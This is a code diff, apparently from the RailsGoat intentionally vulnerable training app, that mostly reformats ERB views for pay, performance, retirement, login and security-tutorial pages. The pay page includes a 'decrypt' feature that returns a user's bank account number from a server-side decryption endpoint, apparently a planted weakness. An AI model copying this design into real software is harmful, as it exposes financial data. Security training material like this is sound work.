<%=link_to "#", { :style => "color:#AA6F93", :id => "encrypted_acct_question"} do %>
|
||||||
<span class="box1">
|
<span class="box1">
|
||||||
<span aria-hidden="true" class="icon-question"></span>
|
<span aria-hidden="true" class="icon-question"></span>
|
||||||
</span>
|
</span>
|
||||||
<% end %>
|
<% end %>
|
||||||
</th>
|
</th>
|
||||||
<th style="width:25%">
|
<th style="width:25%">
|
||||||
Bank Routing Number
|
Bank Routing Number
|
||||||
</th>
|
</th>
|
||||||
<th style="width:20%">
|
<th style="width:20%">
|
||||||
Percentage of Deposit
|
Percentage of Deposit
|
||||||
</th>
|
</th>
|
||||||
<th style="width:25%">
|
<th style="width:25%">
|
||||||
Action
|
Action
|
||||||
</th>
|
</th>
|
||||||
</tr>
|
</tr>
|
||||||
</thead>
|
</thead>
|
||||||
<tbody>
|
<tbody>
|
||||||
|
|
||||||
</tbody>
|
</tbody>
|
||||||
</table>
|
</table>
|
||||||
<div class="clearfix">
|
<div class="clearfix">
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div> <!-- end of widget body-->
|
</div> <!-- end of widget body-->
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div
|
</div
|
||||||
<!-- End Dynamic Table ColSpan Table -->
|
<!-- End Dynamic Table ColSpan Table -->
|
||||||
<!-- ###################-->
|
<!-- ###################-->
|
||||||
|
|
||||||
<!-- Begin Row-Fluid for Decryption Input -->
|
<!-- Begin Row-Fluid for Decryption Input -->
|
||||||
<div class="row-fluid">
|
<div class="row-fluid">
|
||||||
<div class="span9">
|
<div class="span9">
|
||||||
<div class="widget">
|
<div class="widget">
|
||||||
<div class="widget-header">
|
<div class="widget-header">
|
||||||
<div class="title">
|
<div class="title">
|
||||||
@@ -125,25 +125,25 @@
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="widget-body">
|
<div class="widget-body">
|
||||||
<div class="row-fluid">
|
<div class="row-fluid">
|
||||||
<%= form_tag "#", {:class => "form-horizontal", :id => "decrypt_form" } do %>
|
<%= form_tag "#", {:class => "form-horizontal", :id => "decrypt_form" } do %>
|
||||||
<!-- Begin inputs-->
|
<!-- Begin inputs-->
|
||||||
|
|
||||||
<div class="input-append">
|
<div class="input-append">
|
||||||
<%= text_field_tag :value_to_decrypt, params[:value_to_decrypt], {:placeholder => "Bank Account Number"} %>
|
<%= text_field_tag :value_to_decrypt, params[:value_to_decrypt], {:placeholder => "Bank Account Number"} %>
|
||||||
<span class="add-on">#</span>
|
<span class="add-on">#</span>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<!-- End Inputs -->
|
<!-- End Inputs -->
|
||||||
<%= submit_tag "Submit", {:id => "decrypt_btn", :style => "margin-left: 10px;", :class => "btn btn-medium btn-primary"} %>
|
<%= submit_tag "Submit", {:id => "decrypt_btn", :style => "margin-left: 10px;", :class => "btn btn-medium btn-primary"} %>
|
||||||
<% end %>
|
<% end %>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<!-- Row-Fluid for Decryption Input -->
|
<!-- Row-Fluid for Decryption Input -->
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<%= javascript_include_tag "jquery.dataTables.js" %>
|
<%= javascript_include_tag "jquery.dataTables.js" %>
|
||||||
@@ -155,60 +155,60 @@
|
|||||||
a user to delete that direct deposit entry
|
a user to delete that direct deposit entry
|
||||||
*/
|
*/
|
||||||
function buildDeleteLink(dd_id){
|
function buildDeleteLink(dd_id){
|
||||||
var link = '<a href="/users/' + '<%= current_user.id %>' + '/pay/'+ dd_id + '" data-method="delete" rel="nofollow" class="delete-row">' +
|
var link = '<a href="/users/' + '<%= current_user.id %>' + '/pay/'+ dd_id + '" data-method="delete" rel="nofollow" class="delete-row">' +
|
||||||
'<i class="icon-trash">'+
|
'<i class="icon-trash">'+
|
||||||
'</i></a>'
|
'</i></a>'
|
||||||
return link
|
return link
|
||||||
};
|
};
|
||||||
|
|
||||||
/*
|
/*
|
||||||
parseDirectDepositInfo accepts the response object and parses the JSON response, then
|
parseDirectDepositInfo accepts the response object and parses the JSON response, then
|
||||||
populates the direct deposit data table.
|
populates the direct deposit data table.
|
||||||
*/
|
*/
|
||||||
function parseDirectDepostInfo(response){
|
function parseDirectDepostInfo(response){
|
||||||
var msg = jQuery.parseJSON(JSON.stringify(response));
|
var msg = jQuery.parseJSON(JSON.stringify(response));
|
||||||
$.each(msg.user, function(index, val){
|
$.each(msg.user, function(index, val){
|
||||||
$('#data_table').dataTable().fnAddData( [
|
$('#data_table').dataTable().fnAddData( [
|
||||||
val.bank_account_num,
|
val.bank_account_num,
|
||||||
val.bank_routing_num,
|
val.bank_routing_num,
|
||||||
val.percent_of_deposit,
|
val.percent_of_deposit,
|
||||||
buildDeleteLink(val.id)
|
buildDeleteLink(val.id)
|
||||||
] );
|
] );
|
||||||
});
|
});
|
||||||
|
|
||||||
};
|
};
|
||||||
|
|
||||||
/*
|
/*
|
||||||
populateTable will first clear the existing dd table, then call the appropriate
|
populateTable will first clear the existing dd table, then call the appropriate
|
||||||
endpoint to retrieve direct deposit entries and finally, provide parseDirectDepositInfo
|
endpoint to retrieve direct deposit entries and finally, provide parseDirectDepositInfo
|
||||||
with the response from the endpoint in order to populate the data table.
|
with the response from the endpoint in order to populate the data table.
|
||||||
*/
|
*/
|
||||||
function populateTable() {
|
function populateTable() {
|
||||||
$('#data_table').dataTable().fnClearTable();
|
$('#data_table').dataTable().fnClearTable();
|
||||||
$.ajax({
|
$.ajax({
|
||||||
url: <%= sanitize(user_pay_path(:format => "json", :user_id => current_user.user_id, :id => current_user.user_id).inspect) %>,
|
url: <%= sanitize(user_pay_path(:format => "json", :user_id => current_user.user_id, :id => current_user.user_id).inspect) %>,
|
||||||
type: "GET",
|
type: "GET",
|
||||||
success: function(response) {
|
success: function(response) {
|
||||||
parseDirectDepostInfo(response);
|
parseDirectDepostInfo(response);
|
||||||
},
|
},
|
||||||
error: function(event) {
|
error: function(event) {
|
||||||
$('#failure').show(500).delay(1500).fadeOut();
|
$('#failure').show(500).delay(1500).fadeOut();
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
};
|
};
|
||||||
|
|
||||||
/*
|
/*
|
||||||
createDataTable initializes the dd table as a datatable
|
createDataTable initializes the dd table as a datatable
|
||||||
*/
|
*/
|
||||||
function createDataTable(){
|
function createDataTable(){
|
||||||
$('#data_table').dataTable({
|
$('#data_table').dataTable({
|
||||||
"sPaginationType": "full_numbers"
|
"sPaginationType": "full_numbers"
|
||||||
});
|
});
|
||||||
};
|
};
|
||||||
|
|
||||||
/*
|
/*
|
||||||
This function doesn't really work right now but is supposed to offer the user a
|
This function doesn't really work right now but is supposed to offer the user a
|
||||||
"delete confirmation" message
|
"delete confirmation" message
|
||||||
*/
|
*/
|
||||||
$('.delete-row').click(function () {
|
$('.delete-row').click(function () {
|
||||||
var conf = confirm('Continue delete?');
|
var conf = confirm('Continue delete?');
|
||||||
@@ -219,78 +219,78 @@ $('.delete-row').click(function () {
|
|||||||
});
|
});
|
||||||
|
|
||||||
/*
|
/*
|
||||||
decryptShow parses the json response from the application and then renders
|
decryptShow parses the json response from the application and then renders
|
||||||
a decrypted version of the user's account number
|
a decrypted version of the user's account number
|
||||||
*/
|
*/
|
||||||
function decryptShow(response){
|
function decryptShow(response){
|
||||||
var msg = jQuery.parseJSON(JSON.stringify(response));
|
var msg = jQuery.parseJSON(JSON.stringify(response));
|
||||||
alert("Decrypted Account Number: " + msg.account_num);
|
alert("Decrypted Account Number: " + msg.account_num);
|
||||||
};
|
};
|
||||||
|
|
||||||
/*
|
/*
|
||||||
This function overrides the decrypt buttons (submit button's) native behavior,
|
This function overrides the decrypt buttons (submit button's) native behavior,
|
||||||
allowing an ajax call to be made with the decrypt_form's inputs which is decrypted
|
allowing an ajax call to be made with the decrypt_form's inputs which is decrypted
|
||||||
server side with a JSON response containing the decrypted value. The decrypted value is
|
server side with a JSON response containing the decrypted value. The decrypted value is
|
||||||
then passed to decryptShow();
|
then passed to decryptShow();
|
||||||
*/
|
*/
|
||||||
$("#decrypt_btn").click(function(event){
|
$("#decrypt_btn").click(function(event){
|
||||||
var valuesToSubmit = $("#decrypt_form").serialize();
|
var valuesToSubmit = $("#decrypt_form").serialize();
|
||||||
event.preventDefault();
|
event.preventDefault();
|
||||||
$.ajax({
|
$.ajax({
|
||||||
url: <%= sanitize(decrypted_bank_acct_num_user_pay_index_path(:format => "json", :user_id => current_user.user_id).inspect) %>,
|
url: <%= sanitize(decrypted_bank_acct_num_user_pay_index_path(:format => "json", :user_id => current_user.user_id).inspect) %>,
|
||||||
data: valuesToSubmit,
|
data: valuesToSubmit,
|
||||||
type: "POST",
|
type: "POST",
|
||||||
success: function(response) {
|
success: function(response) {
|
||||||
$('#success').show(500).delay(1500).fadeOut();
|
$('#success').show(500).delay(1500).fadeOut();
|
||||||
decryptShow(response);
|
decryptShow(response);
|
||||||
},
|
},
|
||||||
error: function(event) {
|
error: function(event) {
|
||||||
$('#failure').show(500).delay(1500).fadeOut();
|
$('#failure').show(500).delay(1500).fadeOut();
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
/*
|
/*
|
||||||
This function overrides the dd_form_btn's native behavior in order to submit an ajax request
|
This function overrides the dd_form_btn's native behavior in order to submit an ajax request
|
||||||
that updates the user's direct deposit information. Upon success, the populateTable() function
|
that updates the user's direct deposit information. Upon success, the populateTable() function
|
||||||
is called in order to update the dataTable on the page to reflect the latest entry.
|
is called in order to update the dataTable on the page to reflect the latest entry.
|
||||||
*/
|
*/
|
||||||
$("#dd_form_btn").click(function(event) {
|
$("#dd_form_btn").click(function(event) {
|
||||||
var valuesToSubmit = $("#bank_info_form").serialize();
|
var valuesToSubmit = $("#bank_info_form").serialize();
|
||||||
event.preventDefault();
|
event.preventDefault();
|
||||||
$.ajax({
|
$.ajax({
|
||||||
url: <%= sanitize(update_dd_info_user_pay_index_path(:format => "json").inspect) %>,
|
url: <%= sanitize(update_dd_info_user_pay_index_path(:format => "json").inspect) %>,
|
||||||
data: valuesToSubmit,
|
data: valuesToSubmit,
|
||||||
type: "POST",
|
type: "POST",
|
||||||
success: function(response) {
|
success: function(response) {
|
||||||
$('#success').show(500).delay(1500).fadeOut();
|
$('#success').show(500).delay(1500).fadeOut();
|
||||||
populateTable();
|
populateTable();
|
||||||
},
|
},
|
||||||
error: function(event) {
|
error: function(event) {
|
||||||
$('#failure').show(500).delay(1500).fadeOut();
|
$('#failure').show(500).delay(1500).fadeOut();
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
$("#encrypted_acct_question").click(function(event) {
|
$("#encrypted_acct_question").click(function(event) {
|
||||||
event.preventDefault();
|
event.preventDefault();
|
||||||
alert("For your safety your account number is stored encrypted as well as presented to you \nin an encrypted form.\n\n" +
|
alert("For your safety your account number is stored encrypted as well as presented to you \nin an encrypted form.\n\n" +
|
||||||
"For your convenience, you can decrypt your bank account number at any time using our\n" +
|
"For your convenience, you can decrypt your bank account number at any time using our\n" +
|
||||||
"conveniently located decryption function."
|
"conveniently located decryption function."
|
||||||
)
|
)
|
||||||
});
|
});
|
||||||
|
|
||||||
/*
|
/*
|
||||||
Make the sidebar element "Pay" active.
|
Make the sidebar element "Pay" active.
|
||||||
*/
|
*/
|
||||||
function makeActive(){
|
function makeActive(){
|
||||||
$('li[id="pay"]').addClass('active');
|
$('li[id="pay"]').addClass('active');
|
||||||
};
|
};
|
||||||
|
|
||||||
/*
|
/*
|
||||||
1) makeActive - Adds the active class to the sidebar element
|
1) makeActive - Adds the active class to the sidebar element
|
||||||
2) createDataTable - Initializes the dataTable as such
|
2) createDataTable - Initializes the dataTable as such
|
||||||
3) populateTable - populates the newly initialized dataTable
|
3) populateTable - populates the newly initialized dataTable
|
||||||
*/
|
*/
|
||||||
$(document).ready(
|
$(document).ready(
|
||||||
makeActive,
|
makeActive,
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
<div class="dashboard-wrapper">
|
<div class="dashboard-wrapper">
|
||||||
<div class="main-container">
|
<div class="main-container">
|
||||||
<div class="row-fluid">
|
<div class="row-fluid">
|
||||||
<div class="span12">
|
<div class="span12">
|
||||||
<div class="widget">
|
<div class="widget">
|
||||||
<div class="widget-header">
|
<div class="widget-header">
|
||||||
@@ -13,45 +13,44 @@
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="row-fluid">
|
<div class="row-fluid">
|
||||||
<div class="span12">
|
<div class="span12">
|
||||||
<div class="widget">
|
<div class="widget">
|
||||||
<div class="widget-header">
|
<div class="widget-header">
|
||||||
<div class="title">
|
<div class="title">
|
||||||
<span class="fs1" aria-hidden="true" data-icon=""></span> Performance History
|
<span class="fs1" aria-hidden="true" data-icon=""></span> Performance History
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="widget-body">
|
<div class="widget-body">
|
||||||
<table class="table table-bordered table-striped">
|
<table class="table table-bordered table-striped">
|
||||||
<thead>
|
<thead>
|
||||||
<tr>
|
<tr>
|
||||||
<th style="width:16%">Reviewer</th>
|
<th style="width:16%">Reviewer</th>
|
||||||
<th style="width:16%">Date</th>
|
<th style="width:16%">Date</th>
|
||||||
<th style="width:16%">Score</th>
|
<th style="width:16%">Score</th>
|
||||||
<th style="width:16%">Comments</th>
|
<th style="width:16%">Comments</th>
|
||||||
</tr>
|
</tr>
|
||||||
</thead>
|
</thead>
|
||||||
<tbody>
|
<tbody>
|
||||||
<% @perf.each do |p| %>
|
<% @perf.each do |p| %>
|
||||||
<tr>
|
<tr>
|
||||||
<td><%= p.reviewer_name %></td>
|
<td><%= p.reviewer_name %></td>
|
||||||
<td><%= p.date_submitted %></td>
|
<td><%= p.date_submitted %></td>
|
||||||
<td><%= p.score %></td>
|
<td><%= p.score %></td>
|
||||||
<td><%= p.comments %></td>
|
<td><%= p.comments %></td>
|
||||||
</tr>
|
</tr>
|
||||||
<% end %>
|
<% end %>
|
||||||
</tbody>
|
</tbody>
|
||||||
</table>
|
</table>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<script type="text/javascript">
|
<script type="text/javascript">
|
||||||
|
|
||||||
|
|
||||||
google.load("visualization", "1", {
|
google.load("visualization", "1", {
|
||||||
packages: ["corechart"]
|
packages: ["corechart"]
|
||||||
});
|
});
|
||||||
@@ -116,7 +115,7 @@ function drawChart2() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
function makeActive(){
|
function makeActive(){
|
||||||
$('li[id="performance"]').addClass('active');
|
$('li[id="performance"]').addClass('active');
|
||||||
};
|
};
|
||||||
|
|
||||||
$(document).ready(function () {
|
$(document).ready(function () {
|
||||||
|
|||||||
@@ -1,83 +1,83 @@
|
|||||||
<div class="dashboard-wrapper">
|
<div class="dashboard-wrapper">
|
||||||
<div class="main-container">
|
<div class="main-container">
|
||||||
<div class="row-fluid">
|
<div class="row-fluid">
|
||||||
<div class="span3"> <!-- Beginning of span-->
|
<div class="span3"> <!-- Beginning of span-->
|
||||||
<div class="widget">
|
<div class="widget">
|
||||||
<div class="widget-header">
|
<div class="widget-header">
|
||||||
<div class="title">
|
<div class="title">
|
||||||
<span class="fs1" aria-hidden="true" data-icon=""></span> Employee Contribution
|
<span class="fs1" aria-hidden="true" data-icon=""></span> Employee Contribution
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="widget-body">
|
<div class="widget-body">
|
||||||
<div class="current-statistics">
|
<div class="current-statistics">
|
||||||
<div class="expenses">
|
<div class="expenses">
|
||||||
<h3><%= @info.employee_contrib %></h3>
|
<h3><%= @info.employee_contrib %></h3>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div> <!-- End of span-->
|
</div> <!-- End of span-->
|
||||||
<div class="span3"> <!-- Beginning of span-->
|
<div class="span3"> <!-- Beginning of span-->
|
||||||
<div class="widget">
|
<div class="widget">
|
||||||
<div class="widget-header">
|
<div class="widget-header">
|
||||||
<div class="title">
|
<div class="title">
|
||||||
<span class="fs1" aria-hidden="true" data-icon=""></span> Employer Contribution
|
<span class="fs1" aria-hidden="true" data-icon=""></span> Employer Contribution
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="widget-body">
|
<div class="widget-body">
|
||||||
<div class="current-statistics">
|
<div class="current-statistics">
|
||||||
<div class="signups">
|
<div class="signups">
|
||||||
<h3><%= @info.employer_contrib %></h3>
|
<h3><%= @info.employer_contrib %></h3>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div> <!-- End of span-->
|
</div> <!-- End of span-->
|
||||||
<div class="span3"> <!-- Beginning of span-->
|
<div class="span3"> <!-- Beginning of span-->
|
||||||
<div class="widget">
|
<div class="widget">
|
||||||
<div class="widget-header">
|
<div class="widget-header">
|
||||||
<div class="title">
|
<div class="title">
|
||||||
<span class="fs1" aria-hidden="true" data-icon=""></span> Total Contribution
|
<span class="fs1" aria-hidden="true" data-icon=""></span> Total Contribution
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="widget-body">
|
<div class="widget-body">
|
||||||
<div class="current-statistics">
|
<div class="current-statistics">
|
||||||
<div class="income">
|
<div class="income">
|
||||||
<h3><%= @info.total %></h3>
|
<h3><%= @info.total %></h3>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div> <!-- End of span-->
|
</div> <!-- End of span-->
|
||||||
</div>
|
</div>
|
||||||
<div class="row-fluid">
|
<div class="row-fluid">
|
||||||
<div class="span6"> <!-- Beginning of span-->
|
<div class="span6"> <!-- Beginning of span-->
|
||||||
<div class="widget">
|
<div class="widget">
|
||||||
<div class="widget-header">
|
<div class="widget-header">
|
||||||
<div class="title">
|
<div class="title">
|
||||||
<span class="fs1" aria-hidden="true" data-icon=""></span> Employee Services
|
<span class="fs1" aria-hidden="true" data-icon=""></span> Employee Services
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="widget-body">
|
<div class="widget-body">
|
||||||
<p>
|
<p>
|
||||||
Saving for retirement can be difficult. Choosing the plan that is right for you is incredibly important. MetaCorp understands this and and offers free one-on-one interaction with a savings counselor. This service is available weekly, Monday thru Wednesday. Sign up through your departments designated finance lead.
|
Saving for retirement can be difficult. Choosing the plan that is right for you is incredibly important. MetaCorp understands this and and offers free one-on-one interaction with a savings counselor. This service is available weekly, Monday thru Wednesday. Sign up through your departments designated finance lead.
|
||||||
</p>
|
</p>
|
||||||
<hr/>
|
<hr/>
|
||||||
<p>
|
<p>
|
||||||
MetaCorp is dedicated to its employees and this service is just one way of showing it!
|
MetaCorp is dedicated to its employees and this service is just one way of showing it!
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div> <!-- End of span-->
|
</div> <!-- End of span-->
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<script type="text/javascript">
|
<script type="text/javascript">
|
||||||
|
|
||||||
function makeActive(){
|
function makeActive(){
|
||||||
$('li[id="retirement"]').addClass('active');
|
$('li[id="retirement"]').addClass('active');
|
||||||
};
|
};
|
||||||
|
|
||||||
$(document).ready(makeActive)
|
$(document).ready(makeActive)
|
||||||
|
|
||||||
|
|||||||
@@ -37,15 +37,13 @@
|
|||||||
|
|
||||||
<div class="actions">
|
<div class="actions">
|
||||||
|
|
||||||
<%= link_to "Forgot Password", forgot_password_path, {:class=>"pull-left"}%><br/>
|
<%= link_to "Forgot Password", forgot_password_path, {:class=>"pull-left"}%><br/>
|
||||||
<%= submit_tag "Login", {:class => "btn btn-info btn-large pull-right"} %>
|
<%= submit_tag "Login", {:class => "btn btn-info btn-large pull-right"} %>
|
||||||
<span class="checkbox-wrapper">
|
<span class="checkbox-wrapper">
|
||||||
<%= check_box_tag :remember_me, 1, params[:remember_me], {:id => "form-terms", :class => "checkbox", :type => "checkbox"} %>
|
<%= check_box_tag :remember_me, 1, params[:remember_me], {:id => "form-terms", :class => "checkbox", :type => "checkbox"} %>
|
||||||
<label class="checkbox-label" for="form-terms"></label> <span class="label-text">Remember</span>
|
<label class="checkbox-label" for="form-terms"></label> <span class="label-text">Remember</span>
|
||||||
|
|
||||||
</span>
|
|
||||||
|
|
||||||
|
|
||||||
|
</span>
|
||||||
|
|
||||||
<div class="clearfix"></div>
|
<div class="clearfix"></div>
|
||||||
<% end %>
|
<% end %>
|
||||||
|
|||||||
@@ -1,16 +1,16 @@
|
|||||||
<div class="dashboard-wrapper">
|
<div class="dashboard-wrapper">
|
||||||
<div class="main-container">
|
<div class="main-container">
|
||||||
<div class="row-fluid">
|
<div class="row-fluid">
|
||||||
<div class="span12"> <!-- Begin Span12 -->
|
<div class="span12"> <!-- Begin Span12 -->
|
||||||
<%= render :partial => "layouts/tutorial/access_control/access_control_first" %>
|
<%= render :partial => "layouts/tutorial/access_control/access_control_first" %>
|
||||||
</div> <!-- End Span12 -->
|
</div> <!-- End Span12 -->
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<script type="text/javascript">
|
<script type="text/javascript">
|
||||||
function makeActive(){
|
function makeActive(){
|
||||||
$('li[id="access_control"]').addClass('active');
|
$('li[id="access_control"]').addClass('active');
|
||||||
};
|
};
|
||||||
|
|
||||||
$(document).ready(makeActive);
|
$(document).ready(makeActive);
|
||||||
|
|||||||
@@ -1,26 +1,26 @@
|
|||||||
<div class="dashboard-wrapper">
|
<div class="dashboard-wrapper">
|
||||||
<div class="main-container">
|
<div class="main-container">
|
||||||
<div class="row-fluid">
|
<div class="row-fluid">
|
||||||
<div class="span12">
|
<div class="span12">
|
||||||
<%= render :partial => ("layouts/tutorial/broken_auth_sess/user_pass_enum")%>
|
<%= render :partial => ("layouts/tutorial/broken_auth_sess/user_pass_enum")%>
|
||||||
</div> <!-- End Span12-->
|
</div> <!-- End Span12-->
|
||||||
</div>
|
</div>
|
||||||
<div class="row-fluid">
|
<div class="row-fluid">
|
||||||
<div class="span12">
|
<div class="span12">
|
||||||
<%= render :partial => ("layouts/tutorial/broken_auth_sess/password_complexity")%>
|
<%= render :partial => ("layouts/tutorial/broken_auth_sess/password_complexity")%>
|
||||||
</div> <!-- End Span12-->
|
</div> <!-- End Span12-->
|
||||||
</div>
|
</div>
|
||||||
<div class="row-fluid">
|
<div class="row-fluid">
|
||||||
<div class="span12">
|
<div class="span12">
|
||||||
<%= render :partial => ("layouts/tutorial/broken_auth_sess/insecure_compare")%>
|
<%= render :partial => ("layouts/tutorial/broken_auth_sess/insecure_compare")%>
|
||||||
</div> <!-- End Span12-->
|
</div> <!-- End Span12-->
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<script type="text/javascript">
|
<script type="text/javascript">
|
||||||
function makeActive(){
|
function makeActive(){
|
||||||
$('li[id="broken_auth"]').addClass('active');
|
$('li[id="broken_auth"]').addClass('active');
|
||||||
};
|
};
|
||||||
|
|
||||||
$(document).ready(makeActive);
|
$(document).ready(makeActive);
|
||||||
|
|||||||
@@ -1,16 +1,16 @@
|
|||||||
<div class="dashboard-wrapper">
|
<div class="dashboard-wrapper">
|
||||||
<div class="main-container">
|
<div class="main-container">
|
||||||
<div class="row-fluid">
|
<div class="row-fluid">
|
||||||
<div class="span12"> <!-- Begin Span12-->
|
<div class="span12"> <!-- Begin Span12-->
|
||||||
<%= render :partial => "layouts/tutorial/csrf/csrf_first"%>
|
<%= render :partial => "layouts/tutorial/csrf/csrf_first"%>
|
||||||
</div> <!-- End Span12-->
|
</div> <!-- End Span12-->
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<script type="text/javascript">
|
<script type="text/javascript">
|
||||||
function makeActive(){
|
function makeActive(){
|
||||||
$('li[id="csrf"]').addClass('active');
|
$('li[id="csrf"]').addClass('active');
|
||||||
};
|
};
|
||||||
|
|
||||||
$(document).ready(makeActive);
|
$(document).ready(makeActive);
|
||||||
|
|||||||
@@ -1,36 +1,34 @@
|
|||||||
<div class="dashboard-wrapper">
|
<div class="dashboard-wrapper">
|
||||||
<div class="main-container">
|
<div class="main-container">
|
||||||
<div class="row-fluid">
|
<div class="row-fluid">
|
||||||
<div class="span12"> <!-- Begin Span12-->
|
<div class="span12"> <!-- Begin Span12-->
|
||||||
<div class="widget">
|
<div class="widget">
|
||||||
<div class="widget-header">
|
<div class="widget-header">
|
||||||
<div class="title">
|
<div class="title">
|
||||||
<span class="fs1" aria-hidden="true" data-icon=""></span> Gauntlet
|
<span class="fs1" aria-hidden="true" data-icon=""></span> Gauntlet
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="widget-body">
|
<div class="widget-body">
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
Gauntlt is a tool used for unit testing leveraging third-party tools. We've baked this into Railsgoat so that you can play with it. <br/><br/> To learn more about this tool, please visit their site at: <%= link_to "Gauntlet Github Repository", "https://github.com/gauntlt/gauntlt", {:style =>"color: rgb(181, 121, 158);"} %></p>
|
Gauntlt is a tool used for unit testing leveraging third-party tools. We've baked this into Railsgoat so that you can play with it. <br/><br/> To learn more about this tool, please visit their site at: <%= link_to "Gauntlet Github Repository", "https://github.com/gauntlt/gauntlt", {:style =>"color: rgb(181, 121, 158);"} %></p>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
All *.attack files are contained under the gauntlt_scripts directory. We have provided a simple.attack file that demonstrates the tool works. If errors occur, please submit a bug through our github powered issue tracking system.
|
All *.attack files are contained under the gauntlt_scripts directory. We have provided a simple.attack file that demonstrates the tool works. If errors occur, please submit a bug through our github powered issue tracking system.
|
||||||
</p>
|
</p>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
To run this tool type this via the command line: <br/><br/>$ gauntlt
|
To run this tool type this via the command line: <br/><br/>$ gauntlt
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div> <!-- End Span12-->
|
</div> <!-- End Span12-->
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
<script type="text/javascript">
|
<script type="text/javascript">
|
||||||
|
|
||||||
function openSub(){
|
function openSub(){
|
||||||
$('li[id="gauntlt"]').addClass('active');
|
$('li[id="gauntlt"]').addClass('active');
|
||||||
$('li[id="submenu"]').addClass('active open');
|
$('li[id="submenu"]').addClass('active open');
|
||||||
};
|
};
|
||||||
|
|
||||||
$(document).ready(openSub);
|
$(document).ready(openSub);
|
||||||
|
|||||||
@@ -1,28 +1,26 @@
|
|||||||
<div class="dashboard-wrapper">
|
<div class="dashboard-wrapper">
|
||||||
<div class="main-container">
|
<div class="main-container">
|
||||||
<div class="row-fluid">
|
<div class="row-fluid">
|
||||||
<div class="span6">
|
<div class="span6">
|
||||||
<div class="widget">
|
<div class="widget">
|
||||||
<div class="widget-header">
|
<div class="widget-header">
|
||||||
<div class="title">
|
<div class="title">
|
||||||
<span class="fs1" aria-hidden="true" data-icon=""></span> Using Guard with Brakeman and Bundle-Audit
|
<span class="fs1" aria-hidden="true" data-icon=""></span> Using Guard with Brakeman and Bundle-Audit
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="widget-body">
|
<div class="widget-body">
|
||||||
<iframe src="http://player.vimeo.com/video/63901340" width="500" height="281" frameborder="0" webkitAllowFullScreen mozallowfullscreen allowFullScreen></iframe>
|
<iframe src="http://player.vimeo.com/video/63901340" width="500" height="281" frameborder="0" webkitAllowFullScreen mozallowfullscreen allowFullScreen></iframe>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
<script type="text/javascript">
|
<script type="text/javascript">
|
||||||
|
|
||||||
function openSub(){
|
function openSub(){
|
||||||
$('li[id="guard"]').addClass('active');
|
$('li[id="guard"]').addClass('active');
|
||||||
$('li[id="submenu"]').addClass('active open');
|
$('li[id="submenu"]').addClass('active open');
|
||||||
};
|
};
|
||||||
|
|
||||||
$(document).ready(openSub);
|
$(document).ready(openSub);
|
||||||
|
|||||||
@@ -1,88 +1,87 @@
|
|||||||
<div class="dashboard-wrapper">
|
<div class="dashboard-wrapper">
|
||||||
<div class="main-container">
|
<div class="main-container">
|
||||||
<h1> Welcome to RailsGoat </h1>
|
<h1> Welcome to RailsGoat </h1>
|
||||||
<h3> Tutorial Guide </h3>
|
<h3> Tutorial Guide </h3>
|
||||||
|
|
||||||
<div class="row-fluid">
|
<div class="row-fluid">
|
||||||
<div class="span12">
|
<div class="span12">
|
||||||
<div class="widget">
|
<div class="widget">
|
||||||
<div class="widget-header">
|
<div class="widget-header">
|
||||||
<div class="title">
|
<div class="title">
|
||||||
